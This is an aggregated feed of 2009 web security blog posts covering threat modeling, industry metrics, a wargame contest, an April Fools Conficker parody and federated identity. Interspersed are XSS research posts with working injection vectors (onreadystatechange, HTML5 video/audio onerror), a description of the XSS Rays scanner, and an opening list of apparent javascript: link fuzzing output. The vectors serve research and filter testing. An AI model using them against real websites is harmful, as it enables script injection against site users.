Char:24832,Link:javascript&#24832:
Char:25088,Link:javascript&#25088:
Char:25344,Link:javascript&#25344:
Char:25600,Link:javascript&#25600:
Char:25856,Link:javascript&#25856:
Char:26112,Link:javascript&#26112:
Char:26368,Link:javascript&#26368:
Char:26624,Link:javascript&#26624:
Char:26880,Link:javascript&#26880:
Char:27136,Link:javascript&#27136:
Char:27392,Link:javascript&#27392:
Char:27648,Link:javascript&#27648:
Char:27904,Link:javascript&#27904:
Char:28160,Link:javascript&#28160:
Char:28416,Link:javascript&#28416:
Char:28672,Link:javascript&#28672:
Char:28928,Link:javascript&#28928:
Char:29184,Link:javascript&#29184:
Char:29440,Link:javascript&#29440:
Char:29696,Link:javascript&#29696:
Char:29952,Link:javascript&#29952:
Char:30208,Link:javascript&#30208:
Char:30464,Link:javascript&#30464:
Char:30720,Link:javascript&#30720:
Char:30976,Link:javascript&#30976:
Char:31232,Link:javascript&#31232:
Char:31488,Link:javascript&#31488:
Char:31744,Link:javascript&#31744:
Char:32000,Link:javascript&#32000:
Char:32256,Link:javascript&#32256:
Char:32512,Link:javascript&#32512:
Char:32768,Link:javascript&#32768:
Char:33024,Link:javascript&#33024:
Char:33280,Link:javascript&#33280:
Char:33536,Link:javascript&#33536:
Char:33792,Link:javascript&#33792:
Char:34048,Link:javascript&#34048:
Char:34304,Link:javascript&#34304:
Char:34560,Link:javascript&#34560:
Char:34816,Link:javascript&#34816:
Char:35072,Link:javascript&#35072:
Char:35328,Link:javascript&#35328:
Char:35584,Link:javascript&#35584:
Char:35840,Link:javascript&#35840:
Char:36096,Link:javascript&#36096:
Char:36352,Link:javascript&#36352:
Char:36608,Link:javascript&#36608:
Char:36864,Link:javascript&#36864:
Char:37120,Link:javascript&#37120:
Char:37376,Link:javascript&#37376:
Char:37632,Link:javascript&#37632:
Char:37888,Link:javascript&#37888:
Char:38144,Link:javascript&#38144:
Char:38400,Link:javascript&#38400:
Char:38656,Link:javascript&#38656:
Char:38912,Link:javascript&#38912:
Char:39168,Link:javascript&#39168:
Char:39424,Link:javascript&#39424:
Char:39680,Link:javascript&#39680:
Char:39936,Link:javascript&#39936:
Char:40192,Link:javascript&#40192:
Char:40448,Link:javascript&#40448:
Char:40704,Link:javascript&#40704:
Char:40960,Link:javascript&#40960:
Char:41216,Link:javascript&#41216:
Char:41472,Link:javascript&#41472:
Char:41728,Link:javascript&#41728:
Char:41984,Link:javascript&#41984:
Char:43008,Link:javascript&#43008:
Char:44032,Link:javascript&#44032:
Char:44288,Link:javascript&#44288:
Char:44544,Link:javascript&#44544:
Char:44800,Link:javascript&#44800:
Char:45056,Link:javascript&#45056:
Char:45312,Link:javascript&#45312:
Char:45568,Link:javascript&#45568:
Char:45824,Link:javascript&#45824:
Char:46080,Link:javascript&#46080:
Char:46336,Link:javascript&#46336:
Char:46592,Link:javascript&#46592:
Char:46848,Link:javascript&#46848:
Char:47104,Link:javascript&#47104:
Char:47360,Link:javascript&#47360:
Char:47616,Link:javascript&#47616:
Char:47872,Link:javascript&#47872:
Char:48128,Link:javascript&#48128:
Char:48384,Link:javascript&#48384:
Char:48640,Link:javascript&#48640:
Char:48896,Link:javascript&#48896:
Char:49152,Link:javascript&#49152:
Char:49408,Link:javascript&#49408:
Char:49664,Link:javascript&#49664:
Char:49920,Link:javascript&#49920:
Char:50176,Link:javascript&#50176:
Char:50432,Link:javascript&#50432:
Char:50688,Link:javascript&#50688:
Char:50944,Link:javascript&#50944:
Char:51200,Link:javascript&#51200:
Char:51456,Link:javascript&#51456:
Char:51712,Link:javascript&#51712:
Char:51968,Link:javascript&#51968:
Char:52224,Link:javascript&#52224:
Char:52480,Link:javascript&#52480:
Char:52736,Link:javascript&#52736:
Char:52992,Link:javascript&#52992:
Char:53248,Link:javascript&#53248:
Char:53504,Link:javascript&#53504:
Char:53760,Link:javascript&#53760:
Char:54016,Link:javascript&#54016:
Char:54272,Link:javascript&#54272:
Char:54528,Link:javascript&#54528:
Char:54784,Link:javascript&#54784:
Char:55040,Link:javascript&#55040:

Michael Howard's Web Log

A Conversation About Threat Modeling

Posted: May 1st, 2009, 9:29am CDT by michael_HOWARD

Tags: Security [edit]

This was fun to write; in fact, other than minor edits I wrote it in a single two hour sitting with my laptop by the pool :)

[msdn.microsoft.com]

ha.ckers.org web application security lab

Silver Bullet Metric

Posted: April 24th, 2009, 12:15pm CDT by RSnake

Tags: Random Security [edit]

No, I don’t believe there is a silver bullet. But, I came up with an interesting thought exercise while I was at RSAcon that I like to call the silver bullet metric. I asked a number of notable security experts, vendors and analysis and everyone had almost the same reaction, which is that this is worth thinking about, but a hugely complex task to complete. So I thought I’d throw it out there and let the community think about it too. Let’s take a theoretical situation where we looked at any single security vendor out there and give them essentially as much money as they needed to do a complete global deployment of one of their security products. So if it was an anti-virus vendor, you’d give them enough to put AV on every desktop. If it were a firewall, it would be at every endpoint, and so on. Now, the metric is a combination of two scores a) how much is the total cost of ownership and b) what percentage of global online fraud has it decreased. Let’s take a few examples.

If you put Anti-virus on every desktop in the world, would you stop viruses from existing? I think any reasonable person who understands how viruses work would say no. It will, however, make the bad guys work harder and iterate faster to get by the filters (boutique malware). So there is actually a diminishing return once you get above a certain level of deployment. On the other hand, at the very lowest end, if only a few people had anti-virus they would be pretty well protected, because the virus authors wouldn’t bother trying to figure out a way around it. Of course everyone else who doesn’t have the AV is screwed in that scenario. So the right percentage of deployment for anti-virus isn’t global, it somewhere in the middle in that simple example.

If we’re talking about firewalls doing proper egress filtering, that would stop some worms from propagating, but it probably wouldn’t solve enough of the problems compared to the other options out there. If we’re talking about whitelisting applications that can run on computers, that would probably solve a much bigger percentage of the problems compared to firewalls, but the total cost of ownership is through the roof - and who is going to monitor and create all those whitelists. Eesh!

But back to AV for a second - AV has the hidden benefit outside of security that theoretically increases longevity of computers. So AV increases the lifetime of the computer, although the decrease in usability of the computer because of the resources that are being used might offset that number. Anyway, all of that factors into the total cost of ownership. Once we go through that exercise (which is probably best left for the product managers of each product line to do) you come up with a few interesting metrics. The first is the silver bullet metric, and the second is exactly what the maximum level of deployment that product or service should get to before it stops being an effective tool for the money - because TCO might change depending on how widely it is deployed as well (economies of scale, diminishing returns, etc…).

I’m not at all saying I have the right answer, or that I do believe there is a single best product out there, but to be the devil’s advocate, what if we did find that one product or service had the best silver bullet metric - what then? Why would we back any other technologies at that point? Anyway, it’s a fun thing to think about. Perhaps it’s just another lens by which to look at the security industry through. Of course this exercise has it’s evil twin too - which is the types of exploits that can be performed and their own associated cost benefit analysis.

Disenchant's Blog

Swiss Cyber Storm II

Posted: April 22nd, 2009, 4:56am CDT by Disenchant

Tags: Security [edit]

The last weekend, I was in Rapperswil (Switzerland) for a quiet special event. There, the “Swiss Cyber Storm II” took place, organized by Compass Security. The SCSII is a hacking wargame contest, where hackers, IT security specialists, computer scientists etc. try to solve security related tasks and get points for them. For example there was a crypto attack on Lsrunase.exe, JavaScript Malware analysis, ORACLE DB hacking, DECT sniffing and much more. It was a two day event but the second day wasn’t as productive as on the first. Anyway, I was quiet successful At the end of the first day, I was on the 1. rank from about 150 people participating. On the 2. and 3. ranks was a team (CrypTom and allotria) so I decided to also form a team for the second day and my team-partner was Baboo, who’s also a student at the Bern University of Applied Sciences. At the end we made the 2. rank which I would say is a really good result

Thanks a lot at this point to Compass Security for the great event.

Here you’ll see the final ranking:

PS: Baboo and me had to create a new user called Disenchant_and_Baboo for the second day. As you can see, my user of the first day (Disenchant) is at the end of the second day still on rank 11

Justice League

Software Security 2008

Posted: April 16th, 2009, 8:30am CDT by gem

Tags: Software Security [edit]
For the past three years, I have collected and published revenue numbers from tools and services in the software security space. Here are pointers to the three resulting articles, including this year’s NEW article (for 2008):
- informIT (2008): Software Security Comes of Age: Space approaches $500M threshold
- informIT (2007): Software Security Demand Rising
- Darkreading (2006): Want Turns to Need
Before some observations, here is a pretty picture showing growth over time, divided among tools, services, and pizza boxes. Cigital remains the largest independent software security services company. For more details, see my informIT report.

Probably the most important development in 2008 is that the space as a whole is nearing a very important $500M threshold. At this level of business activity, the technology analysts start to take a big interest. This creates a feedback loop of sorts as the middle market engages. Some evidence of this effect:
- Gartner analyst Joseph Fieman published the FIRST Gartner magic quadrant for the tools part of the software security space this year.
- Chenxi Wang from Forrester published a Q4 report on the future of software security (registration supposedly required)
Other analysts of note include:
- Ramon Krikken from Burton Group
- Charles Kolodgy from IDC
- Nigel Stanley from Bloor Research
I will continue to track growth and development of software security over time, but I am very pleased that the analysts are pitching in. As software security matures and the middle market emerges, we will start to have an important impact on the rest of computer security.

The Spanner

Overwriting native functions in javascript

Posted: April 8th, 2009, 5:05am CDT by Gareth Heyes

Tags: Security [edit]
I research a lot of Javascript as part of my job and I’ve been toying with the idea of a perfect native function overwrite. The idea is that you can still call the native function and have control over it but once it’s been defined it cannot be modified only destroyed.

My idea was to redefine the alert function and to remove it once it reaches a certain limit, in order to avoid infinite prompts. I think I’ve been successful but I’m sure someone will point out if I haven’t. It works by storing the native function in a closure and holds the reference within it’s parent. The child function is then returned with two private variables the native function call and a counter. Because they are private variables they shouldn’t be available in the global scope and so only the parent of the the child function should have access to them.

This code is based on the assumption that it is run first before any other Javascript, so you can modify it after it’s been executed but you should no longer have access to it’s native code.
```
window.alert = function(native) {
 var counter = 0;
 return function(str) {    
    native(str);
    if(counter > 10) {
      window.alert = null;
    }
    counter++;
 }
}(window.alert);
```
onreadystatechange

Posted: April 8th, 2009, 3:42am CDT by Gareth Heyes

Tags: Security [edit]
I like this event, it’s pretty cool. The reason why it’s interesting from a XSS perspective is that it is executed automatically without user interaction. This is rare in the XSS playground, usually you have to use onerror, onload or onfocus events and they only work in certain circumstances.

I’d better mention that the event is only relevant to Internet Explorer as far as I’m aware. If you know of any other browsers it works in then please leave a comment.

So which tags does it execute in? Well more than you first think. At first I could only get it to execute automatically with the iframe, script and style tags. But actually the img, image, input, isindex, iframe, script, style, xml and object tags all execute without user interaction.

Here are a list of vectors I found, notice the XML tag requires some content in order to execute, this can be accomplished without a closing tag or just some text. The object tag requires the type=image attribute. IMG, IMAGE, ISINDEX, INPUT all require a valid image loaded with the src attribute.
```
<script onreadystatechange=alert(1)>
<iframe onreadystatechange=alert(1)>
<style onreadystatechange=alert(1)>
<script onreadystatechange=alert(1)></script>
<iframe onreadystatechange=alert(1)></iframe>
<style onreadystatechange=alert(1)></style>
<xml onreadystatechange=alert(1)>
<xml onreadystatechange=alert(1)>test</xml>
<object type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)></object>
<img type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
<image type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
<input type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
<isindex type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
```
Cross browser javascript sandbox

Posted: April 3rd, 2009, 9:56am CDT by Gareth Heyes

Tags: Security [edit]

I think I’ve managed to create a good sandboxing system using same origin policy. The only downside is that it uses new windows to prevent top.location assignments. It works by injecting code into another domain (sandbox.businessinfo.co.uk) and executing the code in the context of that domain and returning the result of the code in the location.hash and returning it to the original domain.

As SOP is used the sandbox shouldn’t be able to be bypassed without a browser exploit, sure you could change the window reference but the result would always be a string. The domain sandbox.businessinfo.co.uk is vulnerable though as it allows you to execute code, maybe using referrer checking this could be minimized which I may add in future.

So the question is can you beat it? By injecting code in the sandbox that will control the parent. For example it was vulnerable to modifying the parent location by passing “top.location=1″ this has now been closed.
Update…
I found and fixed an exploit myself. Using opener.location=1, it was possible to control the parent location. I’ve closed this by removing the opener from the sandbox.

Demo here

Dominic White's .tHE pRODUCT

Conficker Claims its First Human

Posted: April 1st, 2009, 2:02am CDT

Tags: Security [edit]

Conficker has claimed it's first victim, this time a live one. Conficker, a computer virus that security researchers have warned will do severe damage to computing systems from April 1st, has claimed millions of computer victims to date. However, Harry Hermulen's computer was luckier than he was.
Mr Hermulen, fearing a computerised Armageddon would occur on April 1st due to Conficker, barricaded himself in his log cabin outside the small town of Pofadder in South Africa last week. After missing the town's weekly "sokkie", a type of traditional Afrikaans dance, town members went to visit Harry. One witness described what they found as "horrifying". "We knocked on the door, but Harry didn't answer, a jean-pant were drying outside, but Harry only had one pair, so we knew he was inside." said Maggie van Schoonstad. "We opened the door and found yellow, red and blue devil's signs on all the walls," continued Maggie These were later confirmed as the logos of well known Anti-Virus vendors. "We found him dead in front of his computer, his face was all blue from the screen."

Later analysis confirmed Mr Hermulen had starved to death. Computer experts determined that while waiting for his Vista computer to boot, then clicking through the thousands of 'Allow' dialogs presented to him by the multiple Anti-Virus products installed, Mr Hermulen had not had time to eat. "His finger was full of blood and stuck to his mouse." said Frikkie Steyn a close hunting friend of Harry.

When asked for comment, Norton Symanteck, a spokesperson for Fckng-Secure Anti-Virus said, "What happened to Mr. Hermulen is a tragedy, BUT YOU'RE ALL GOING TO DIE UNLESS YOU BUY ANTI-VIRUS." Oh the humanity.

Happy April First.

Justice League

Maturity Models vs. Top 10 Lists

Posted: March 30th, 2009, 9:12am CDT by jOHN

Tags: Software Security [edit]
A few back, I wrote about Maturity Models vs. ASVS. On SC-L, a ‘discussion’ broke out regarding Maturity Models (MM) vs. Top N lists. Like ASVS, Top 10 lists target a different problem than MMs. In particular, the discussion focused around how one should enhance their assessment practices.

I’ve edited and reproduced my SC-L post here for those of you who don’t read the list. My objective? provide specifics on what one can do to enhance assessment practices. I provide a commentary on the on-going discussion throughout. The central theme of my approach?

security vulnerabilities don’t count unless they affect development

Now the approach:

Integrate Assessment Practices

[What?]
Wrap the assessment activities (both tool-based and manual techniques) in a process that:
- Normalizes findings under a common reporting vocabulary and demonstrates impact
- Include SAST, DAST, scanning, manual, out-sourced, & ALL findings producers in this framework
- Anchors findings in either a developmental root cause or other software artifact:
- Use Case, reqs, design, spec, etc.
- Builds adaptors so that bugs are automatically entered in tracking systems
- Adaptors should include both tool-based and manual findings
- Calculates impact with an agreed-upon mechanism that rates security risk with other factors:
- Functional release criteria
- Other non-security non-functional requirements
[Realistic?]
I believe so. Cigital’s more junior consultants work on these very tasks, and they don’t require an early-adopter to fund or agree to them. There’s plenty of tooling out there to help with the adapters and plenty of presentations/papers on risk (www.riskanalys.is), normalizing findings (cwe.mitre.org/) , and assessment methodology (www.cigital.com/papers/download/j15bsi.pdf).

[Panacea?]
No. I’ve done research and consulting in functional testing. If you think security is powerless against development, try spending a few years in a tester’s shoes! Functionality may be king for development and PMs, but I’ve found that functional testing has little to no power. While a lack of features may prevent software from going out the door, very rarely do I find that functional testing can implement an effective “go/no-go” gate from their seat in the org. That’s why testing efforts seek muscle from their friend Security (and its distant cousins under quality “Load and Performance”) to stop releases from going out the door.

There’s no reason NOT to integrate with testing efforts, reporting, and groups: we should. There’s every reason security should adhere to the same interface everyone else does with developers (let them produce code and let them consume bugs)… I think the steps I outlined under ‘what’ bring us closer. I don’t think we need to (or can expect to) flip organizational precedent and behavior on its head to make progress.

[Steering]
The above scenario doesn’t allow explicitly for two key input/outputs from the software security ecosystem:
1. Handling ultra-high-priority issues in real time
2. Adjusting and evolving to changing threat landscapes
Establish a Steering Committee

[What?]
Establish a steering committee on which a software security, dev, architecture, operations, and corporate risk sit. These folk should manage the risk-model, scoring, security standards that drive the assessment verification standard, and the definition of both short-term and longer-term mitigating strategies. I’d argue that you’d like Industry representation too. That organization could come in written form (like the Top N lists) or in the form of consulting or a panel.

When incidents or firefights come into play, absolutely allow them to be handled out of band (albeit through a documented process), but! Not until they’ve been rated with the agreed-upon model.

[Realistic?]
Yes. I have several clients that use this structure. I speak with non-clients that do the same. Data gathering for scoring and prioritization is easy if you’ve done the steps in the previous section. The operations guys help you grade the pertinence of your efforts to what they’re seeing ‘in the wild’ too.

[Panacea?]
Does a steering committee help you respond with agility to a high-priority threat in real time? Not explicitly. But, it does help if your organizational stakeholders already have a working relationship and a mutual respect. Also: I think one root cause of the underlying discomfort (or dislike) with people’s perspectives on this thread has been:

“OK… you don’t like Top N lists… So what do you do?”

In my mind… The above answers that question.

[Assessment and Tools]
Do I believe that the normalized findings will emerge only from static analysis (or any other kind of vulnerability detection tool)? Absolutely not. People who follow my writings know I expect dramatic (ally high and low) numbers to be associated with tools.

Let’s summarize my data. Organizations can expect:
1. Static analysis tools to account for 15-20% of their total findings, out of the box
2. An initial false positive rate as high as 75-99% from a static analysis tool, without tuning
3. Less than 09% code coverage (by even shallow coverage metrics) from pen-testing tools
Qualitatively, I can tell you that I expect an overwhelming majority of static analysis results produced in an organization to come from customization of their adopted product.

Simply: if you base your world view on only those things a tool (any tool) produces, you’re world view is too narrow and will prove ineffective. The same is true of those who narrow their scope to the OWASP Top-10 or the SANS Top 25.

[Top N Redux]
Some have left the impression that starting with a Top N list is of no use. Please don’t think I’m in this camp. In my last two public presentations I’ve indicated, “If you’re starting from scratch these lists (or lists intrinsically baked into a tool’s capabilities for detection) are a great place to start.” Yes, one of these presentations was entitled “Why Top N lists are bad” ;-) Also:

If you can’t afford frequent industry interaction-use Top N lists as a proxy for it. They’re valuable, but like anything, only to a point.

For me, this discussion will remain circular until we think about it in terms of measured, iterative organizational improvement. Why? Because when an organization focuses on getting beyond a “Top N” list it will just create their own organization-specific “Top N” list :-) If they’re smart though, they’ll call it a dash board and vie for a promotion ;-)

From the other side? People building Top N lists know they’re not a panacea, but also know that a lot of organizations simply can’t stomach the kind of emotional investment that BSIMM (and the ilk) come with.

This leaves me with the following:

[Conclusions]
1. Top N lists are neither necessary nor sufficient for organization success
2. Top N lists are necessary but not sufficient for industry success
3. Maturity models are neither necessary nor sufficient for organizational success
4. Maturity models are necessary but not sufficient for industry success
5. Always avail yourself of what the industry produces;
6. Never confine yourself to a single industry artifact dogmatically;
7. Whatever you consume from industry, improve it by making it your own; and
8. Where-ever you are in your journey, continue to improve iteratively.
[Related Perennial Rabbit Holes] (bonus)
- Bugs vs. Flaws: John Steven’06 – www.mail-archive.com/sc-l@securecoding.org/msg00888.html
- Security Vs. Quality: Cowan ‘02 – www.securityfocus.com/archive/98/304766

The Spanner

XSS Rays

Posted: March 25th, 2009, 3:53am CDT by Gareth Heyes

Tags: Security [edit]
I’ve developed a new XSS scanner tool that’s written in Javascript called XSS Rays for Microsoft. They have given me permission to release the tool as open source which is awesome because it can be used for other open source applications. I recommend you use it as part of the web development process to make sure you’ve filtered XSS correctly on your application.

It works as a bookmarklet and scans any links, paths or forms on the target scanning page (even cross domain). You can add vectors to it quite easily and it includes some of the most common injections I’ve found on sites over the years. I’ve tested it on IE7/IE8 and Firefox but it could work in other browsers.

The advantage of the bookmarklet is that vectors can be customised for each browser and they are executed in the context of the browser, in IE8 standards mode were css expressions are disabled in IE8 the vector won’t be executed for example.

Hopefully there should be no false positives either because each vector is actually executed and it reported back as successful, in fact if there is a false positive it will be a bug in my code (lets hope not).
Technical details
The code works by creating connections to the target links/paths using iframes, each iframe is assign a name which is the url to return to on successful execution (the originating url). This allows cross domain links to be checked.

The vectors are stored in a simple object, each vector has the following properties:- input, name, browser, form, url, path (there’s a optional second input). Input is the XSS vector, the string “XSS” is used to replace with a logger or a poc url and is required by all vectors.

Name is just a meaningful name applied to the vector, browser supports ALL|FF|IE and helps to save time when testing specific browser vectors as XSS Rays will only target those versions for the vector.

Form, url, path allows you to disable the vector for scanning forms etc, supports TRUE|FALSE.

There are a few configuration properties supported:-
1. externalLog - Sends all executions to a external logger by default “http://127.0.0.1/XSS_Rays/logging/xss_logger.php”, the vector is encoded and sent to a get variable xss and can be easily customised to log in another language, each field is sent tab separated.
2. excludeURLS - allows you to exclude certain urls from the scan, the variable is a regular expression so remember to double escape special characters.
3. sameorigin - When enabled it should stay to the same site and not scan external links, this has not be tested fully yet.

There’s a interesting little hack for IE to enable the onload event of a dynamic iframe, I use the following code to create a specific IE loader:-
```
var ieLoader = "document.getElementById('"+'ray'+self.uniqueID+"').ieonload()";                                                                                                
        if(self.isIE()) {
                try {
                  var iframe = document.createElement('<iframe name="'+location + '#xss'+'" onload="'+ieLoader+'">');
                } catch (e) {                                                 
                   var iframe = document.createElement('iframe');
                }
        } else {
           var iframe = document.createElement('iframe');
}
```
Download & Instructions
Download here

1. You need to install a local web server like xampp:-
http://www.apachefriends.org/en/xampp.html
2. Once installed copy the XSS_Rays directory to your web server root xampp root is :- C:xampphtdocs
3. Open the bookmarklet.html file in the helpers directory of XSS_Rays. Drag to your bookmarks toolbar on Firefox or on IE right click the link and click add to favorites (You might get a security warning in IE).
4. Find your web site that you wish to scan, click your bookmarklet. Then press CTRL+SHIFT+X which will now run XSS Rays on the target site.
Thanks
Big thanks to David Ross, Manuel Caballero and you (you know who you are) for testing and feedback. Thanks to Microsoft for supporting the development of XSS Rays.
Updates….
The latest version of XSS Rays is now online (0.5.0), it contains some speed improvements and bug fixes.

1. Fixed conflicts with form elements with the name action or submit was causing form posts not to be submitted. Thanks Mike W
2. Removed unneeded cleanup code now the IE onload works.
3. Added the ability to exclude certain field types and names from being XSS’d.
4. Fixed name vector to specify window.name which was causing conflicts with image elements.
5. Fixed and checked same origin code. Thanks to Arshan who gave me a kick up the backside
6. Removed keyboard shortcut and added a button instead.
New update 0.5.5
1. Fixed Firefox bug with same origin
2. Fixed form Post to allow field names with submit. Thanks Kuza55 for the awesome form post hack

Michael Howard's Web Log

Ken Johnson (Skywing) joins Microsoft

Posted: March 24th, 2009, 5:27pm CDT by michael_HOWARD

Tags: Security [edit]

Following close on the heels of security experts Matt Miller, Adam Shostack and Crispin Cowan joining Microsoft, I am pleased to announce that Ken Johnson, AKA Skywing, has joined our group.

Ken brings an enormous amount of reverse engineering and defense-subversion skill to Microsoft. Ken will be working on anything and everything related vulnerabilities, exploits, defenses, bypassing defenses and more. Ken also maintains a blog on debugging, reverse engineering, and security-related topics (along with various personal projects) at: http://www.nynaeve.net.

Welcome, Ken!

Dominic White's .tHE pRODUCT

Department of Home Affairs Snooping Tools

Posted: March 24th, 2009, 9:37am CDT

Tags: Security [edit]
Thanks to the Department of Home Affairs, it is now possibly to get a bit more creepy. If you know someone's ID number (not a hard task) you can now find out if they are dead/alive, in the process of obtaining a new ID book or married (and when).
While these would make a great addition to Maltego as new transforms, given how poorly protected our ID numbers are, I'm reluctant for the DHA to be making this info available. While this information certainly isn't a deep invasion of privacy, I am worried about them expanding the service. Additionally, the existence of these services implies that there is a DB full of juicy ID data connected to the internet, and I'm not sure they've secured it very well.

BindShell.Net

InfoSec World 2009 - Browser Security

Posted: March 24th, 2009, 3:07am CDT

Tags: Security [edit]

Interested in Browser Security? Josh Abraham has published his InfoSec World presentation - Total Browser Pwnag3. Update: The Demos are available here.

The Spanner

HTML5 XSS

Posted: March 20th, 2009, 4:47pm CDT by Gareth Heyes

Tags: Security [edit]
I did a couple of vectors for PHPIDS recently and I was experimenting with Firefox 3.1 beta and the new HTML5 tags. I found the audio and video tags could be used for XSS, I’m sure there are others too. The vectors are quite cool because they’re executed automatically within a ~~onload~~ onerror event. (Originally the onload event worked with a invalid video)

Here are the vectors simplfied:-
```
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
```
Check out the phpids group on sla.ckers if you want to see the wacky versions which bypass the filtering. I use setTimeout and some js tricks to beat it.

Justice League

Marketing Will Kill Federated Identity on the Web

Posted: March 18th, 2009, 10:18am CDT by scott

Tags: federated identity Cloud Software Security [edit]

Warning: a fair amount of cynicism occurs in this post.

Some of my buddies have been exchanging ideas of what keeps us interested and one friend was thinking about how he could use a user’s Facebook login on his site. This nudge along with some work I’m doing with federated identity and Amazon SSO all have brought this federated identity stuff onto the foreground thread in my brain.

It’s all very interesting stuff and I think there’s some great technology behind all of this. I’m not worried about the technology part. It’s whether the technology can ever get implemented that worries me.

Why? Well on the internet audience and the audience demographics are the currency of the realm. If there’s federated identity, then providing all of my identity information to the relying part is redundant. There’s no way marketing is going to let THEIR site be the relying party. Marketing will want THEIR site to be the IdP. That’s because they want the users to sign up and provide all of the contact and demographic information since that’s the only business model that has been proven to work last time I checked.

I can imagine a conversation going like this:

Me: We should implement federated identity so our users don’t have to log in a gazillion times.
Marketing: Good idea.
Me: Whose identity should we use? LiveID? Amazon?
Marketing: Huh? What do you mean? Ours of course. We need the user to sign up to give us their email address.
Me: Well, we can get that. It’s part of the claim that we’ll get as part of SAML.
Marketing: Sam who? When does the user give us his email?
Me: They don’t give us the email directly. They give it to the identity provider and then…
Marketing: No, no, no, no (just like your mom used to do) – this doesn’t sound like a good idea…

So maybe all we really need is an identity selector and we’ll be the digital equivalents of the janitor with the massive key ring on our belts.

Technorati Tags: federated identity, cloud

Dominic White's .tHE pRODUCT

SA AV Vendor Recycling News for FUD Marketing

Posted: March 17th, 2009, 6:04am CDT

Tags: Security [edit]

ClassicFM just phoned me for comment on this story. I did some quick research and was rather dismayed to find that this appears to be an attempt to drum up some press references for marketing rather than a responsible informing of the public.

Update: ClassicFM has put up the story with a soundbite.

It was referencing X97M/TrojanDropper.Agent.NAI.trojan (the vendor in question isn't McAfee, they just had a good writeup) which exploited an unpatched vulnerability (CVE-2008-0081 to be specific) in early 2008, but was patched by Microsoft in October 2008. So, by now the patch is likely deployed to even your mother's machine in the cupboard, and AV vendors have got several copies of the signature deployed. In addition, the specific trojan was used in targeted attacks and it is highly likely that no person or company in SA will ever see a copy, even if they did, the generic advice of 'be suspicious of .xls files' is fairly useless.

To add insult to injury, the AV vendor seems to have received orders from their head office as their international office engaged in the same FUD last month.

This appears to be fairly blatant scaremongering in order to get their name in the papers, the sort that harm the whole industry and makes people unable to differentiate between real threats with real actions they can take. There may be a good explanation, and if the vendor in question wants to clear things up I'll publish it here, although having not mentioned their name I doubt they'll see it. In the meantime, I recommend journos blacklist them as a source.

Now, if anyone wants to write about the PDF tomfoolery that's been going on lately, that would be far more interesting. Although, even then only to IT and security types, not the general public yet.

Justice League

Security folk often carry Macs, is that an endorsement?

Posted: March 16th, 2009, 10:16am CDT by jOHN

Tags: Software Security [edit]

The Geekonomics blog is often good. A new post indicates Apple’s veneer of more secure than Microsoft is cracking.

It was only a matter of time. I wanted to clarify that though you see a lot of security consultants carrying Macs, in Cigital’s case, it’s not an endorsement. Again, in the interest of disclosure: though I own and operate many platforms I operate more OS X at home and office than the others.

I attribute Mac adoption amongst security folk to two reasons: the platform combines a Unix-like environment with the ability to interact through email and MS Office and that the machines, for the most part, are a snappy bit of hardware, cobbled together into a “shiny object” (desirable) form. This second aspect goes a long way to explain the recent jump in ownership in the security community: “fan-boys.”

Any claims that it’s because “they’re more secure” should be considered with a fair amount of skepticism.

Yes, historically, the platform has suffered less pain of viruses and malware. Yes, certain aspects of their OS/platform and design did make improvements over XP.

The truth is this:

Apple doesn’t “Build Security In” very well at all. You don’t have to be an insider to understand why. Redmond is exporting security blogs, books, and value like never before. You don’t see a lot of Apple security people in the community though. You don’t see good solid standards-based support for authentication or web-services that would help you interact securely with your enterprise (Apple hides behind their ‘vision’ on this one). You don’t see a lot of support for Objective-C in the static analysis tool realm.

I believe that though Apple paid great lip service to security as a differentiator initially, (they even talked about phones like the iPhone becoming the basis of identity moving forward) but yet they abandoned it when they realized the cost of a real enterprise-level program. They also abandoned what was probably their best protection: the PPC processor. Their security proposition, IMO, is based on obscurity.

I’ve said before, “Woe to Apple when market share (and thus Economics) garners the attention necessary to motivate attackers to focus on the platform—attackers may find their task easier than with Vista.”

Rational Survivability

Source Boston - Video Interviews of Security Rockstars...

Posted: March 13th, 2009, 5:57pm CDT by beaker

Tags: Security Conferences [edit]
Source Boston has officially wound down, but I'm still on Cloud 9 (sorry) following the amazing sessions and interaction I had with my fellow attendees and speakers.

My presentation was well received and with Marcus Ranum, Dan Geer, and Adam Shostack sitting six feet in front of me, I didn't choke as badly as I could have. I had a ton of fun giving this first run preso and got a lot of great feedback and questions.

One of the most excellent things I got to do was spend some time walking about with Zach Lanier (@quine on Twitter) and interview many of the vendors and speakers extemporaneously on various subjects.
I'll be updating this post with links to the interviews as I get them cleaned up and uploaded to YouTube...
Here's a sampling of what you can expect:
- David Mortman, "I Can Haz Privacy"
- Dmitry McKay, LogLogic
- Chris Wysopal - Veracode
- Peter Kuper - "Silver Linings"
- Jose Nazario, Arbor, "Politically Motivated DDoS Attacks"
- Christien Rioux, Source
- Jeremiah Grossman, Whitehat Security, "Get Rich or Die Trying, Making Money the Black Hat Way"
- Amrit Williams, BigFix, "The Economics of CyberCrime & the Law of Malware Probability"
- Adam Shostack, Microsoft, "The Crisis In Information Security"
- Dan Kaminsky, IOActive, "DNS - Toward a Secure Infrastructure"
- Chris Weber, Casaba Security, "Exploiting Unicode-Enabled Software"
- Rob Cheyne, SafeLight, "The End Of Our Rope: The On-Going Discussion Between Business & Security"
You'll laugh, you'll cry, you'll wonder why people gave me this task...
But seriously, we discuss such mega-issues such as DDoS, Snuggies, Bedazzlers, Zombies and Estonian dissident groups (and that's in just ONE of the talks.)

I think I've found something I absolutely LOVE doing -- vlogging (video blogging) and will try and do more of it.
Check back for updates to the links over the weekend.
/Hoff

Dominic White's .tHE pRODUCT

Using Maltego to Data Mine Twitter

Posted: March 11th, 2009, 3:31am CDT

Tags: Security [edit]

I've previously, spoken about Paterva's awesome data mining tool Maltego in 2007. I've recently had cause to start playing with it again as part of the Privacy work I'm currently doing, and it's come a long way baby.
To demonstrate the cool sorts of data mining you can do, I decided to play with the new twitter transforms. I've produced some really nice graphs that demonstrate the power the views in Maltego can bring to your data analytics.

